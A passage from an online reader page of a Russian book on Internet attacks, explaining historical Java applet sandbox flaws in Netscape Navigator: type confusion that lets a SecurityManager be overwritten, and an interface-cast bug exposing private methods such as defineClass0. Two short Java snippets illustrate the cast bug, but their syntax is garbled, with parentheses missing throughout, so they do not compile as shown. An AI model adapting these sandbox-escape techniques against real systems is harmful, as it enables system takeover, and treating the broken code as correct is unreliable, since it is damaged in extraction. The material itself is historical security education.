Читаем Атака на Internet полностью

Теперь m указывает на ту же область памяти, где находится SecurityManager, и мы можем безболезненно менять его содержимое через поля объекта m. Подобная атака сработает при любом смешении типов, остается лишь найти ошибку, позволяющую проделать подобное совмещение указателей.

И такая ошибка была найдена в одной из бета-версий Netscape Navigator. При создании класса T неявно создается тип массив класса Т для внутреннего пользования. Его имя начинается с «[», и, поскольку нельзя создать класс, имя которого начинается с этого символа, все работает безошибочно. Но в той версии Netscape Navigator удавалось загрузить класс с таким именем. Точнее, при этом выдавалась ошибка, но виртуальная машина устанавливала имя в своей внутренней таблице. В результате Java считала объект массивом, хотя он принадлежал совсем другому типу. Итог – замена SecurityManager и потенциальный захват системы.

Ошибка, связанная с приведением типов:

interface Inter

{

void f;

}

class Secure implements Inter

{

private void f;

}

class Dummy extends Secure implements Inter

{

public void f;

Dummy

{

Secure s = new Secure;

Inter i = (Inter) s;

i.f;

}

}

В этом коде вызов i.f должен быть опознан как вызов защищенного метода класса Secure и запрещен. Неверное поведение Netscape Navigator 2.02 привело к возможности вызова закрытой функции defineClass0, призванной исправить ошибки в верификаторе и механизме загрузки классов. Небольшая модификация этой же ошибки:

interface Inter

{

void f;

}

class Secure implements Inter

{

private void f;

}

class Dummy implements Inter

{

public void f;

static void attack

{

Inter inter[2] = {new Dummy, new Secure };

for(int j=0; j<2; ++j) inter[j].f;

}

}

Перейти на страницу:
Нет соединения с сервером, попробуйте зайти чуть позже